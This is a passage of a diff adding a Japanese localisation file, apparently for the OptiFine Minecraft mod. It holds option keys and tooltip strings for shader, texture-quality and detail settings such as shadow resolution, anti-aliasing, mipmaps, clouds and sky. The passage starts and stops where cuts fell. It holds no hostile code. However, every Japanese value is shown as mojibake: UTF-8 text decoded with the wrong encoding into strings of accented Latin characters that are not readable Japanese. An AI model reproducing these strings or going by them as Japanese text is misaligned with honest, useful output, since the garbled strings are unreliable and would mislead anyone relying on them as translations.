オン - (åˆæœŸå€¤) é¡é¢å射マップを有効化 +of.options.shaders.SPECULAR_MAP.tooltip.3= オフ - é¡é¢å射マップを無効化 +of.options.shaders.SPECULAR_MAP.tooltip.4=é¡é¢å射マップã¯ã‚·ã‚§ãƒ¼ãƒ€ãƒ¼ãƒ‘ックãŒç‰¹æ®Šãªå射効果を +of.options.shaders.SPECULAR_MAP.tooltip.5=シミュレーションã™ã‚‹ãŸã‚ã«ç”¨ã„られã¾ã™ã€‚ +of.options.shaders.SPECULAR_MAP.tooltip.6=法線マップテクスãƒãƒ£ã¯ç¾åœ¨ä½¿ç”¨ä¸­ã® +of.options.shaders.SPECULAR_MAP.tooltip.7=リソースパックã«ä¾å­˜ã—ã¾ã™ã€‚ + +of.options.shaders.RENDER_RES_MUL=æç”»ã®å“質 +of.options.shaders.RENDER_RES_MUL.tooltip.1=æç”»ã®å“質 +of.options.shaders.RENDER_RES_MUL.tooltip.2= 0.5x - 低ㄠ(最低負è·) +of.options.shaders.RENDER_RES_MUL.tooltip.3= 1x - 標準 (åˆæœŸå€¤) +of.options.shaders.RENDER_RES_MUL.tooltip.4= 2x - 高ㄠ(最高負è·) +of.options.shaders.RENDER_RES_MUL.tooltip.5=æç”»ã®å“質設定ã§ã¯ã‚·ã‚§ãƒ¼ãƒ€ãƒ¼ãƒ‘ックã«æ¸¡ã™ +of.options.shaders.RENDER_RES_MUL.tooltip.6=テクスãƒãƒ£ã®ã‚µã‚¤ã‚ºã‚’制御ã—ã¾ã™ã€‚ +of.options.shaders.RENDER_RES_MUL.tooltip.7=低ã„値ã¯4Kディスプレイã«æœ‰ç”¨ã§ã—ょã†ã€‚ +of.options.shaders.RENDER_RES_MUL.tooltip.8=高ã„値ã¯ã‚¢ãƒ³ãƒã‚¨ã‚¤ãƒªã‚¢ã‚¹ã‚’ã‹ã‘ãŸã‹ã®ã‚ˆã†ã«åƒãã¾ã™ã€‚ + +of.options.shaders.SHADOW_RES_MUL=é™°å½±ã®å“質 +of.options.shaders.SHADOW_RES_MUL.tooltip.1=é™°å½±ã®å“質 +of.options.shaders.SHADOW_RES_MUL.tooltip.2= 0.5x - 低ㄠ(最低負è·) +of.options.shaders.SHADOW_RES_MUL.tooltip.3= 1x - 標準 (åˆæœŸå€¤) +of.options.shaders.SHADOW_RES_MUL.tooltip.4= 2x - 高ㄠ(最高負è·) +of.options.shaders.SHADOW_RES_MUL.tooltip.5=é™°å½±ã®å“質設定ã§ã¯ã‚·ã‚§ãƒ¼ãƒ€ãƒ¼ãƒ‘ックãŒç”¨ã„ã‚‹ +of.options.shaders.SHADOW_RES_MUL.tooltip.6=シャドウマップテクスãƒãƒ£ã®ã‚µã‚¤ã‚ºã‚’制御ã—ã¾ã™ã€‚ +of.options.shaders.SHADOW_RES_MUL.tooltip.7=低ã„値 = 厳格ã§ãªã„ã€è’ã„影。 +of.options.shaders.SHADOW_RES_MUL.tooltip.8=高ã„値 = 細密ã§ã€ç¹Šç´°ãªå½±ã€‚ + +of.options.shaders.HAND_DEPTH_MUL=手ã®é è¿‘ +of.options.shaders.HAND_DEPTH_MUL.tooltip.1=手ã®é è¿‘ +of.options.shaders.HAND_DEPTH_MUL.tooltip.2= 0.5x - カメラã«è¿‘ã„手 +of.options.shaders.HAND_DEPTH_MUL.tooltip.3= 1x - (åˆæœŸå€¤) +of.options.shaders.HAND_DEPTH_MUL.tooltip.4= 2x - カメラã‹ã‚‰é ã„手 +of.options.shaders.HAND_DEPTH_MUL.tooltip.5=手ã®é è¿‘設定ã§ã¯æ‰‹ã«æŒã£ãŸã‚‚ã®ãŒã‚«ãƒ¡ãƒ©ã‹ã‚‰ +of.options.shaders.HAND_DEPTH_MUL.tooltip.6=ã©ã‚Œã ã‘é ã„ã‹ã‚’制御ã—ã¾ã™ã€‚ +of.options.shaders.HAND_DEPTH_MUL.tooltip.7=被写界深度効果をæŒã¤ã‚·ã‚§ãƒ¼ãƒ€ãƒ¼ãƒ‘ックã«ã‚ˆã‚‹ +of.options.shaders.HAND_DEPTH_MUL.tooltip.8=手ã«æŒã£ãŸã‚‚ã®ã®ãƒ–ラーも変更ã—ã¾ã™ã€‚ + +of.options.shaders.CLOUD_SHADOW=雲ã®å½± + +of.options.shaders.OLD_HAND_LIGHT=å¤ã„手æŒã¡å…‰æº +of.options.shaders.OLD_HAND_LIGHT.tooltip.1=å¤ã„手æŒã¡å…‰æº +of.options.shaders.OLD_HAND_LIGHT.tooltip.2= デフォルト - シェーダーパックã«ã‚ˆã‚‹åˆ¶å¾¡ +of.options.shaders.OLD_HAND_LIGHT.tooltip.3= オン - å¤ã„手æŒã¡å…‰æºã‚·ã‚¹ãƒ†ãƒ ã‚’用ã„ã‚‹ +of.options.shaders.OLD_HAND_LIGHT.tooltip.4= オフ - æ–°ãŸãªæ‰‹æŒã¡å…‰æºã‚·ã‚¹ãƒ†ãƒ ã‚’用ã„ã‚‹ +of.options.shaders.OLD_HAND_LIGHT.tooltip.5=å¤ã„手æŒã¡å…‰æºã‚·ã‚¹ãƒ†ãƒ ã¯ãƒ¡ã‚¤ãƒ³ãƒãƒ³ãƒ‰ã® +of.options.shaders.OLD_HAND_LIGHT.tooltip.6=å…‰æºã‚¢ã‚¤ãƒ†ãƒ ã—ã‹èªè­˜ã§ããªã„シェーダーパックを +of.options.shaders.OLD_HAND_LIGHT.tooltip.7=オフãƒãƒ³ãƒ‰ã‚‚èªè­˜ã§ãるよã†ã«ã—ã¾ã™ã€‚ + +of.options.shaders.OLD_LIGHTING=å¤ã„照明効果 +of.options.shaders.OLD_LIGHTING.tooltip.1=å¤ã„照明効果 +of.options.shaders.OLD_LIGHTING.tooltip.2= デフォルト - シェーダーパックã«ã‚ˆã‚‹åˆ¶å¾¡ +of.options.shaders.OLD_LIGHTING.tooltip.3= オン - å¤ã„照明効果を用ã„ã‚‹ +of.options.shaders.OLD_LIGHTING.tooltip.4= オフ - å¤ã„照明効果を用ã„ãªã„ +of.options.shaders.OLD_LIGHTING.tooltip.5=å¤ã„照明効果設定ã§ã¯ãƒãƒ‹ãƒ©ãŒãƒ–ロックã®å´é¢ã« +of.options.shaders.OLD_LIGHTING.tooltip.6=é©ç”¨ã—ãŸæ˜Žã‹ã‚Šã®æ画を制御ã—ã¾ã™ã€‚ +of.options.shaders.OLD_LIGHTING.tooltip.7=影を扱ã†ã‚·ã‚§ãƒ¼ãƒ€ãƒ¼ãƒ‘ックã¯å¤šãã®å ´åˆ +of.options.shaders.OLD_LIGHTING.tooltip.8=太陽ã®ä½ç½®ã«åŸºã¥ãã¯ã‚‹ã‹ã«è‰¯ã„影をæä¾›ã—ã¾ã™ã€‚ + +of.options.shaders.DOWNLOAD=シェーダーã®ãƒ€ã‚¦ãƒ³ãƒ­ãƒ¼ãƒ‰ +of.options.shaders.DOWNLOAD.tooltip.1=シェーダーã®ãƒ€ã‚¦ãƒ³ãƒ­ãƒ¼ãƒ‰ +of.options.shaders.DOWNLOAD.tooltip.2= +of.options.shaders.DOWNLOAD.tooltip.3=シェーダーã®ãƒ€ã‚¦ãƒ³ãƒ­ãƒ¼ãƒ‰ãƒšãƒ¼ã‚¸ã‚’ブラウザã§é–‹ãã¾ã™ã€‚ +of.options.shaders.DOWNLOAD.tooltip.4=ダウンロードã—ãŸã‚·ã‚§ãƒ¼ãƒ€ãƒ¼ãƒ‘ックã¯ã€Œã‚·ã‚§ãƒ¼ãƒ€ãƒ¼ãƒ•ã‚©ãƒ«ãƒ€ãƒ¼ã€ã«å…¥ã‚Œã‚‹ã¨ +of.options.shaders.DOWNLOAD.tooltip.5=å°Žå…¥ã•ã‚ŒãŸã‚·ã‚§ãƒ¼ãƒ€ãƒ¼ã®ä¸€è¦§ã«è¡¨ç¤ºã•ã‚Œã¾ã™ã€‚ + +of.options.shaders.SHADER_PACK=シェーダーパック + +of.options.shaders.shadersFolder=シェーダーフォルダー +of.options.shaders.shaderOptions=シェーダーã®ã‚ªãƒ—ション設定... + +of.options.shaderOptionsTitle=シェーダーã®ã‚ªãƒ—ション設定 + +of.options.quality=å“質ã®è¨­å®š... +of.options.qualityTitle=å“質 + +of.options.details=細部ã®è¨­å®š... +of.options.detailsTitle=細部 + +of.options.performance=パフォーマンスã®è¨­å®š... +of.options.performanceTitle=パフォーマンス + +of.options.animations=アニメーションã®è¨­å®š... +of.options.animationsTitle=アニメーション + +of.options.other=ãã®ä»–ã®è¨­å®š... +of.options.otherTitle=ãã®ä»– + +of.options.other.reset=ビデオ設定をåˆæœŸåŒ–ã™ã‚‹... + +of.shaders.profile=プロファイル + +# Quality + +of.options.mipmap.bilinear=ãƒã‚¤ãƒªãƒ‹ã‚¢è£œé–“ +of.options.mipmap.linear=線形補間 +of.options.mipmap.nearest=ニアレストãƒã‚¤ãƒãƒ¼è£œé–“ +of.options.mipmap.trilinear=トライリニア補間 + +options.mipmapLevels.tooltip.1=é ãã®ç‰©ä½“ã«ãŠã‘る視覚効果を +options.mipmapLevels.tooltip.2=テクスãƒãƒ£ã®ã‚¹ãƒ ãƒ¼ã‚¸ãƒ³ã‚°ã«ã‚ˆã£ã¦æ”¹å–„ã—ã¾ã™ã€‚ +options.mipmapLevels.tooltip.3= オフ - スムージングを行ã‚ãªã„ +options.mipmapLevels.tooltip.4= 1 - 最å°é™ã®ã‚¹ãƒ ãƒ¼ã‚¸ãƒ³ã‚° +options.mipmapLevels.tooltip.5= æœ€å¤§é™ - 最大é™ã®ã‚¹ãƒ ãƒ¼ã‚¸ãƒ³ã‚° +options.mipmapLevels.tooltip.6=ã“ã®è¨­å®šã¯æ¦‚ã­ãƒ‘フォーマンスã«å½±éŸ¿ã‚’与ãˆã¾ã›ã‚“。 + +of.options.MIPMAP_TYPE=ミップマップã®ç¨®é¡ž +of.options.MIPMAP_TYPE.tooltip.1=é ãã®ç‰©ä½“ã«ãŠã‘る視覚効果を +of.options.MIPMAP_TYPE.tooltip.2=テクスãƒãƒ£ã®ã‚¹ãƒ ãƒ¼ã‚¸ãƒ³ã‚°ã«ã‚ˆã£ã¦æ”¹å–„ã—ã¾ã™ã€‚ +of.options.MIPMAP_TYPE.tooltip.3= ニアレストãƒã‚¤ãƒãƒ¼è£œé–“ - ãŠãŠã¾ã‹ãªã‚¹ãƒ ãƒ¼ã‚¸ãƒ³ã‚° (低負è·) +of.options.MIPMAP_TYPE.tooltip.4= 線形補間 - 通常ã®ã‚¹ãƒ ãƒ¼ã‚¸ãƒ³ã‚° +of.options.MIPMAP_TYPE.tooltip.5= ãƒã‚¤ãƒªãƒ‹ã‚¢è£œé–“ - 繊細ãªã‚¹ãƒ ãƒ¼ã‚¸ãƒ³ã‚° +of.options.MIPMAP_TYPE.tooltip.6= トライリニア補間 - 最高級ã®ã‚¹ãƒ ãƒ¼ã‚¸ãƒ³ã‚° (高負è·) + +of.options.AA_LEVEL=アンãƒã‚¨ã‚¤ãƒªã‚¢ã‚¹ +of.options.AA_LEVEL.tooltip.1=アンãƒã‚¨ã‚¤ãƒªã‚¢ã‚¹ +of.options.AA_LEVEL.tooltip.2= オフ - (åˆæœŸå€¤) アンãƒã‚¨ã‚¤ãƒªã‚¢ã‚¹ã‚’è¡Œã‚ãªã„ (低負è·) +of.options.AA_LEVEL.tooltip.3= 2〜16 - アンãƒã‚¨ã‚¤ãƒªã‚¢ã‚¹ã•ã‚ŒãŸè¼ªéƒ­ (高負è·) +of.options.AA_LEVEL.tooltip.4=アンãƒã‚¨ã‚¤ãƒªã‚¢ã‚¹ã¯è¼ªéƒ­ã®ã‚®ã‚¶ã‚®ã‚¶ã‚„ +of.options.AA_LEVEL.tooltip.5=急激ãªè‰²ã®å¤‰åŒ–を滑らã‹ã«ã—ã¾ã™ã€‚ +of.options.AA_LEVEL.tooltip.6=有効化ã™ã‚‹ã¨å¤§å¹…ã«FPSãŒä¸‹ãŒã‚Šã¾ã™ã€‚ +of.options.AA_LEVEL.tooltip.7=ã™ã¹ã¦ã®ãƒ¬ãƒ™ãƒ«ãŒã™ã¹ã¦ã®ã‚°ãƒ©ãƒ•ã‚£ãƒƒã‚¯ã‚«ãƒ¼ãƒ‰ã§ã‚µãƒãƒ¼ãƒˆã•ã‚Œã¦ã„ã‚‹ã‚ã‘ã§ã¯ã‚ã‚Šã¾ã›ã‚“。 +of.options.AA_LEVEL.tooltip.8=有効化ã¯å†èµ·å‹•å¾Œã§ã™ï¼ + +of.options.AF_LEVEL=異方性フィルタリング +of.options.AF_LEVEL.tooltip.1=異方性フィルタリング +of.options.AF_LEVEL.tooltip.2= オフ - (åˆæœŸå€¤) 標準的ãªãƒ†ã‚¯ã‚¹ãƒãƒ£ã®ç´°éƒ¨ (低負è·) +of.options.AF_LEVEL.tooltip.3= 2〜16 - ミップマップã•ã‚ŒãŸãƒ†ã‚¯ã‚¹ãƒãƒ£ã§ã®ã‚ˆã‚Šç¹Šç´°ãªç´°éƒ¨ (高負è·) +of.options.AF_LEVEL.tooltip.4=異方性フィルタリングã¯ãƒŸãƒƒãƒ—マップã•ã‚ŒãŸãƒ†ã‚¯ã‚¹ãƒãƒ£ã® +of.options.AF_LEVEL.tooltip.5=細部を復元ã—ã¾ã™ã€‚ +of.options.AF_LEVEL.tooltip.6=有効化ã™ã‚‹ã¨å¤§å¹…ã«FPSãŒä¸‹ãŒã‚Šã¾ã™ã€‚ + +of.options.CLEAR_WATER=æ°´ã®é€éŽ +of.options.CLEAR_WATER.tooltip.1=æ°´ã®é€éŽ +of.options.CLEAR_WATER.tooltip.2= オン - 澄んã é€æ˜Žãªæ°´ +of.options.CLEAR_WATER.tooltip.3= オフ - 普通ã®æ°´ + +of.options.RANDOM_ENTITIES=ランダムエンティティ +of.options.RANDOM_ENTITIES.tooltip.1=ランダムエンティティ +of.options.RANDOM_ENTITIES.tooltip.2= オフ - ランダムãªãƒ†ã‚¯ã‚¹ãƒãƒ£ã‚’エンティティã«ç”¨ã„ãªã„ ä½Žè² è· +of.options.RANDOM_ENTITIES.tooltip.3= オン - ランダムãªãƒ†ã‚¯ã‚¹ãƒãƒ£ã‚’エンティティã«ç”¨ã„ã‚‹ é«˜è² è· +of.options.RANDOM_ENTITIES.tooltip.4=ランダムエンティティã¯ãƒ©ãƒ³ãƒ€ãƒ ãªãƒ†ã‚¯ã‚¹ãƒãƒ£ã‚’エンティティã«é©ç”¨ã—ã¾ã™ã€‚ +of.options.RANDOM_ENTITIES.tooltip.5=複数ã®ã‚¨ãƒ³ãƒ†ã‚£ãƒ†ã‚£ãƒ†ã‚¯ã‚¹ãƒãƒ£ã‚’å«ã‚€ãƒªã‚½ãƒ¼ã‚¹ãƒ‘ックãŒå¿…è¦ã§ã™ã€‚ + +of.options.BETTER_GRASS=より良ã„èŠç”Ÿ +of.options.BETTER_GRASS.tooltip.1=より良ã„èŠç”Ÿ +of.options.BETTER_GRASS.tooltip.2= オフ - 通常ã®å´é¢ã®ãƒ†ã‚¯ã‚¹ãƒãƒ£ã‚’用ã„ã‚‹ ä½Žè² è· +of.options.BETTER_GRASS.tooltip.3= 処ç†å„ªå…ˆ - å´é¢ã‚‚è‰ã§è¦†ã† é«˜è² è· +of.options.BETTER_GRASS.tooltip.4= æ画優先 - è‰ãƒ–ロックã¨ç¹‹ãŒã‚‹ã‚ˆã†ã«å´é¢ã‚’è‰ã§è¦†ã† æœ€é«˜è² è· + +of.options.BETTER_SNOW=より良ã„雪 +of.options.BETTER_SNOW.tooltip.1=より良ã„雪 +of.options.BETTER_SNOW.tooltip.2= オフ - 通常ã®é›ª ä½Žè² è· +of.options.BETTER_SNOW.tooltip.3= オン - より良ã„雪 é«˜è² è· +of.options.BETTER_SNOW.tooltip.4=隣接ã—ãŸãƒ–ロックã«é›ªãŒç©ã‚‚ã£ã¦ã„ã‚‹ã‚‚ã®ãŒã‚ã£ãŸæ™‚ã« +of.options.BETTER_SNOW.tooltip.5=é€éŽæ€§ã®ã‚るブロック (フェンスã€èƒŒã®é«˜ã„è‰) ã®ä¸‹ã§ã‚‚雪をæç”»ã—ã¾ã™ã€‚ + +of.options.CUSTOM_FONTS=カスタムフォント +of.options.CUSTOM_FONTS.tooltip.1=カスタムフォント +of.options.CUSTOM_FONTS.tooltip.2= オン - カスタムフォントを使ㆠ(åˆæœŸå€¤) é«˜è² è· +of.options.CUSTOM_FONTS.tooltip.3= オフ - デフォルトã®ãƒ•ã‚©ãƒ³ãƒˆã‚’ä½¿ã† ä½Žè² è· +of.options.CUSTOM_FONTS.tooltip.4=カスタムフォントã¯ç¾åœ¨ä½¿ç”¨ä¸­ã® +of.options.CUSTOM_FONTS.tooltip.5=リソースパックã«ä¾å­˜ã—ã¾ã™ã€‚ + +of.options.CUSTOM_COLORS=カスタムカラー +of.options.CUSTOM_COLORS.tooltip.1=カスタムカラー +of.options.CUSTOM_COLORS.tooltip.2= オン - カスタムカラーを使ㆠ(åˆæœŸå€¤) é«˜è² è· +of.options.CUSTOM_COLORS.tooltip.3= オフ - デフォルトã®è‰²ã‚’ä½¿ã† ä½Žè² è· +of.options.CUSTOM_COLORS.tooltip.4=カスタムカラーã¯ç¾åœ¨ä½¿ç”¨ä¸­ã® +of.options.CUSTOM_COLORS.tooltip.5=リソースパックã«ä¾å­˜ã—ã¾ã™ã€‚ + +of.options.SWAMP_COLORS=湿地帯色 +of.options.SWAMP_COLORS.tooltip.1=湿地帯色 +of.options.SWAMP_COLORS.tooltip.2= オン - æ¹¿åœ°å¸¯è‰²ã‚’ä½¿ã† é«˜è² è· +of.options.SWAMP_COLORS.tooltip.3= オフ - 湿地帯色を使ã‚ãªã„ ä½Žè² è· +of.options.SWAMP_COLORS.tooltip.4=湿地帯色ã¯è‰ã€è‘‰ã€è”¦ã€æ°´ã«å½±éŸ¿ã‚’与ãˆã¾ã™ã€‚ + +of.options.SMOOTH_BIOMES=滑らã‹ãªãƒã‚¤ã‚ªãƒ¼ãƒ  +of.options.SMOOTH_BIOMES.tooltip.1=滑らã‹ãªãƒã‚¤ã‚ªãƒ¼ãƒ  +of.options.SMOOTH_BIOMES.tooltip.2= オン - ãƒã‚¤ã‚ªãƒ¼ãƒ ã®å¢ƒç•Œã‚’滑らã‹ã«ã™ã‚‹ (åˆæœŸå€¤) é«˜è² è· +of.options.SMOOTH_BIOMES.tooltip.3= オフ - ãƒã‚¤ã‚ªãƒ¼ãƒ ã®å¢ƒç•Œã‚’滑らã‹ã«ã—ãªã„ ä½Žè² è· +of.options.SMOOTH_BIOMES.tooltip.4=周囲ã®è‰²ã®å¹³å‡ã‚’ã¨ã£ã¦ +of.options.SMOOTH_BIOMES.tooltip.5=ãƒã‚¤ã‚ªãƒ¼ãƒ é–“ã®å¢ƒç•Œã‚’滑らã‹ã«ã—ã¾ã™ã€‚ +of.options.SMOOTH_BIOMES.tooltip.6=è‰ã€è‘‰ã€è”¦ã€æ°´ã«å½±éŸ¿ã‚’与ãˆã¾ã™ã€‚ + +of.options.CONNECTED_TEXTURES=継ãŽç›®ãªã„テクスãƒãƒ£ +of.options.CONNECTED_TEXTURES.tooltip.1=継ãŽç›®ãªã„テクスãƒãƒ£ +of.options.CONNECTED_TEXTURES.tooltip.2= オフ - テクスãƒãƒ£ã®ç¶™ãŽç›®ã‚’ãªãã•ãªã„ (åˆæœŸå€¤) +of.options.CONNECTED_TEXTURES.tooltip.3= 処ç†å„ªå…ˆ - 処ç†å„ªå…ˆã§ãƒ†ã‚¯ã‚¹ãƒãƒ£ã®ç¶™ãŽç›®ã‚’ãªãã™ +of.options.CONNECTED_TEXTURES.tooltip.4= æ画優先 - æ画優先ã§ãƒ†ã‚¯ã‚¹ãƒãƒ£ã®ç¶™ãŽç›®ã‚’ãªãã™ +of.options.CONNECTED_TEXTURES.tooltip.5=è‰ã€ç ‚岩ã€æœ¬æ£šã§éš£ã‚Šåˆã£ãŸã‚‚ã®ã‚’ +of.options.CONNECTED_TEXTURES.tooltip.6=継ãŽç›®ãªã表示ã—ã¾ã™ã€‚ +of.options.CONNECTED_TEXTURES.tooltip.7=ã¤ãªãŒã£ãŸçŠ¶æ…‹ã®ãƒ†ã‚¯ã‚¹ãƒãƒ£ã¯ç¾åœ¨ä½¿ç”¨ä¸­ã® +of.options.CONNECTED_TEXTURES.tooltip.8=リソースパックã«ä¾å­˜ã—ã¾ã™ã€‚ + +of.options.NATURAL_TEXTURES=自然ãªãƒ†ã‚¯ã‚¹ãƒãƒ£ +of.options.NATURAL_TEXTURES.tooltip.1=自然ãªãƒ†ã‚¯ã‚¹ãƒãƒ£ +of.options.NATURAL_TEXTURES.tooltip.2= オフ - 自然ãªãƒ†ã‚¯ã‚¹ãƒãƒ£ã‚’用ã„ãªã„ (åˆæœŸå€¤) +of.options.NATURAL_TEXTURES.tooltip.3= オン - 自然ãªãƒ†ã‚¯ã‚¹ãƒãƒ£ã‚’用ã„ã‚‹ +of.options.NATURAL_TEXTURES.tooltip.4=ブロックã®ãƒ†ã‚¯ã‚¹ãƒãƒ£ãŒåŒã˜å½¢ã‚’ç¹°ã‚Šè¿”ã—〠+of.options.NATURAL_TEXTURES.tooltip.5=æ ¼å­çŠ¶ã®æ¨¡æ§˜ãŒå½¢æˆã•ã‚Œã‚‹ç¾è±¡ã‚’除去ã—ã¾ã™ã€‚ +of.options.NATURAL_TEXTURES.tooltip.6=ã“ã‚Œã¯åŸºã¨ãªã‚‹ãƒ–ロックã®ãƒ†ã‚¯ã‚¹ãƒãƒ£ã‚’回転ã—ãŸã‚Šè£è¿”ã—ãŸã‚Š +of.options.NATURAL_TEXTURES.tooltip.7=ã™ã‚‹ã“ã¨ã§å®Ÿç¾ã•ã‚Œã¾ã™ã€‚自然ãªãƒ†ã‚¯ã‚¹ãƒãƒ£ã®è¨­å®šã¯ +of.options.NATURAL_TEXTURES.tooltip.8=ç¾åœ¨ä½¿ç”¨ä¸­ã®ãƒªã‚½ãƒ¼ã‚¹ãƒ‘ックã«ä¾å­˜ã—ã¾ã™ã€‚ + +of.options.EMISSIVE_TEXTURES=発光効果テクスãƒãƒ£ +of.options.EMISSIVE_TEXTURES.tooltip.1=発光効果テクスãƒãƒ£ +of.options.EMISSIVE_TEXTURES.tooltip.2= オフ - 発光効果テクスãƒãƒ£ã‚’用ã„ãªã„ (åˆæœŸå€¤) +of.options.EMISSIVE_TEXTURES.tooltip.3= オン - 発光効果テクスãƒãƒ£ã‚’用ã„ã‚‹ +of.options.EMISSIVE_TEXTURES.tooltip.4=発光効果テクスãƒãƒ£ã¯æœ€å¤§ã®æ˜Žã‚‹ã•ã‚’æŒã£ãŸã‚ªãƒ¼ãƒãƒ¼ãƒ¬ã‚¤ã¨ã—㦠+of.options.EMISSIVE_TEXTURES.tooltip.5=æç”»ã•ã‚Œã¾ã™ã€‚ã¾ãŸã€åŸºã¨ãªã‚‹ãƒ†ã‚¯ã‚¹ãƒãƒ£ã® +of.options.EMISSIVE_TEXTURES.tooltip.6=発光部分ã®ã‚·ãƒŸãƒ¥ãƒ¬ãƒ¼ã‚·ãƒ§ãƒ³ã«ã‚‚用ã„られã¾ã™ã€‚ +of.options.EMISSIVE_TEXTURES.tooltip.7=発光効果テクスãƒãƒ£ã¯ç¾åœ¨ä½¿ç”¨ä¸­ã® +of.options.EMISSIVE_TEXTURES.tooltip.8=リソースパックã«ä¾å­˜ã—ã¾ã™ã€‚ + +of.options.CUSTOM_SKY=カスタムスカイ +of.options.CUSTOM_SKY.tooltip.1=カスタムスカイ +of.options.CUSTOM_SKY.tooltip.2= オン - カスタムスカイを用ã„ã‚‹ (åˆæœŸå€¤) é«˜è² è· +of.options.CUSTOM_SKY.tooltip.3= オフ - 通常ã®ç©º ä½Žè² è· +of.options.CUSTOM_SKY.tooltip.4=カスタムスカイ用ã®ãƒ†ã‚¯ã‚¹ãƒãƒ£ã¯ç¾åœ¨ä½¿ç”¨ä¸­ã® +of.options.CUSTOM_SKY.tooltip.5=リソースパックã«ä¾å­˜ã—ã¾ã™ã€‚ + +of.options.CUSTOM_ITEMS=カスタムアイテム +of.options.CUSTOM_ITEMS.tooltip.1=カスタムアイテム +of.options.CUSTOM_ITEMS.tooltip.2= オン - カスタムアイテムを用ã„ã‚‹ (åˆæœŸå€¤) é«˜è² è· +of.options.CUSTOM_ITEMS.tooltip.3= オフ - 通常ã®ã‚¢ã‚¤ãƒ†ãƒ ãƒ†ã‚¯ã‚¹ãƒãƒ£ã‚’用ã„ã‚‹ ä½Žè² è· +of.options.CUSTOM_ITEMS.tooltip.4=カスタムアイテム用ã®ãƒ†ã‚¯ã‚¹ãƒãƒ£ã¯ç¾åœ¨ä½¿ç”¨ä¸­ã® +of.options.CUSTOM_ITEMS.tooltip.5=リソースパックã«ä¾å­˜ã—ã¾ã™ã€‚ + +of.options.CUSTOM_ENTITY_MODELS=カスタムエンティティモデル +of.options.CUSTOM_ENTITY_MODELS.tooltip.1=カスタムエンティティモデル +of.options.CUSTOM_ENTITY_MODELS.tooltip.2= オン - カスタムエンティティモデルを用ã„ã‚‹ (åˆæœŸå€¤) ã€é«˜è² è· +of.options.CUSTOM_ENTITY_MODELS.tooltip.3= オフ - 通常ã®ã‚¨ãƒ³ãƒ†ã‚£ãƒ†ã‚£ãƒ¢ãƒ‡ãƒ«ã€ä½Žè² è· +of.options.CUSTOM_ENTITY_MODELS.tooltip.4=カスタムエンティティモデルã¯ç¾åœ¨ä½¿ç”¨ä¸­ã® +of.options.CUSTOM_ENTITY_MODELS.tooltip.5=リソースパックã«ä¾å­˜ã—ã¾ã™ã€‚ + +of.options.CUSTOM_GUIS=カスタムGUI +of.options.CUSTOM_GUIS.tooltip.1=カスタムGUI +of.options.CUSTOM_GUIS.tooltip.2= オン - カスタムGUI (åˆæœŸå€¤) ã€é«˜è² è· +of.options.CUSTOM_GUIS.tooltip.3= オフ - 通常ã®GUIã€ä½Žè² è· +of.options.CUSTOM_GUIS.tooltip.4=カスタムGUIã¯ç¾åœ¨ä½¿ç”¨ä¸­ã®ãƒªã‚½ãƒ¼ã‚¹ãƒ‘ックã«ä¾å­˜ã—ã¾ã™ã€‚ + +# Details + +of.options.CLOUDS=雲 +of.options.CLOUDS.tooltip.1=雲 +of.options.CLOUDS.tooltip.2= デフォルト - グラフィックスã®è¨­å®šã«åˆã‚ã›ã‚‹ +of.options.CLOUDS.tooltip.3= 処ç†å„ªå…ˆ - 低å“質 ä½Žè² è· +of.options.CLOUDS.tooltip.4= æ画優先 - 高å“質 é«˜è² è· +of.options.CLOUDS.tooltip.5= オフ - 雲ãªã— æœ€ä½Žè² è· +of.options.CLOUDS.tooltip.6=処ç†å„ªå…ˆã®é›²ã¯å¹³é¢çš„ã«æç”»ã•ã‚Œã¾ã™ã€‚ +of.options.CLOUDS.tooltip.7=æ画優先ã®é›²ã¯ç«‹ä½“çš„ã«æç”»ã•ã‚Œã¾ã™ã€‚ + +of.options.CLOUD_HEIGHT=雲ã®é«˜ã• +of.options.CLOUD_HEIGHT.tooltip.1=雲ã®é«˜ã• +of.options.CLOUD_HEIGHT.tooltip.2= オフ - 通常ã®é«˜ã• +of.options.CLOUD_HEIGHT.tooltip.3= 100%% - ワールドã®é«˜ã•ä¸Šé™ + +of.options.TREES=樹 +of.options.TREES.tooltip.1=樹 +of.options.TREES.tooltip.2= デフォルト - グラフィックスã®è¨­å®šã«åˆã‚ã›ã‚‹ +of.options.TREES.tooltip.3= 処ç†å„ªå…ˆ - 低å“質 æœ€ä½Žè² è· +of.options.TREES.tooltip.4= スマート - 高å“質 ä½Žè² è· +of.options.TREES.tooltip.5= æ画優先 - 高å“質 é«˜è² è· +of.options.TREES.tooltip.6=処ç†å„ªå…ˆã®æœ¨ã®è‘‰ã¯é€éŽã—ã¾ã›ã‚“。 +of.options.TREES.tooltip.7=æ画優先や賢ãæç”»ã•ã‚ŒãŸæœ¨ã®è‘‰ã¯é€éŽã—ã¾ã™ã€‚ + +of.options.RAIN=雨ã¨é›ª +of.options.RAIN.tooltip.1=雨ã¨é›ª +of.options.RAIN.tooltip.2= デフォルト - グラフィックスã®è¨­å®šã«åˆã‚ã›ã‚‹ +of.options.RAIN.tooltip.3= 処ç†å„ªå…ˆ - å°é›¨/å°é›ª ä½Žè² è· +of.options.RAIN.tooltip.4= æ画優先 - 大雨/大雪 é«˜è² è· +of.options.RAIN.tooltip.5= オフ - 雨や雪をæç”»ã—ãªã„ æœ€ä½Žè² è· +of.options.RAIN.tooltip.6=オフã«ã—ã¦ã‚‚地é¢ã§ã®é›¨ã®é£›ã³æ•£ã‚Šã‚„雨音 +of.options.RAIN.tooltip.7=ã¯æœ‰åŠ¹ã®ã¾ã¾ã§ã™ã€‚ + +of.options.SKY=空 +of.options.SKY.tooltip.1=空 +of.options.SKY.tooltip.2= オン - 空をæç”»ã™ã‚‹ é«˜è² è· +of.options.SKY.tooltip.3= オフ - 空をæç”»ã—ãªã„ ä½Žè² è· +of.options.SKY.tooltip.4=オフã«ã—ã¦ã‚‚太陽や月ã¯ãã®ã¾ã¾ã§ã™ã€‚ + +of.options.STARS=星 +of.options.STARS.tooltip.1=星 +of.options.STARS.tooltip.2= オン - 星をæç”»ã™ã‚‹ (åˆæœŸå€¤) +of.options.STARS.tooltip.3= オフ - 星をæç”»ã—ãªã„ (低負è·) + +of.options.SUN_MOON=太陽ã¨æœˆ +of.options.SUN_MOON.tooltip.1=太陽ã¨æœˆ +of.options.SUN_MOON.tooltip.2= オン - 太陽ã¨æœˆã‚’æç”»ã™ã‚‹ (åˆæœŸå€¤) +of.options.SUN_MOON.tooltip.3= オフ - 太陽ã¨æœˆã‚’æç”»ã—ãªã„ (低負è·) + +of.options.SHOW_CAPES=マントã®è¡¨ç¤º +of.options.SHOW_CAPES.tooltip.1=マントã®è¡¨ç¤º 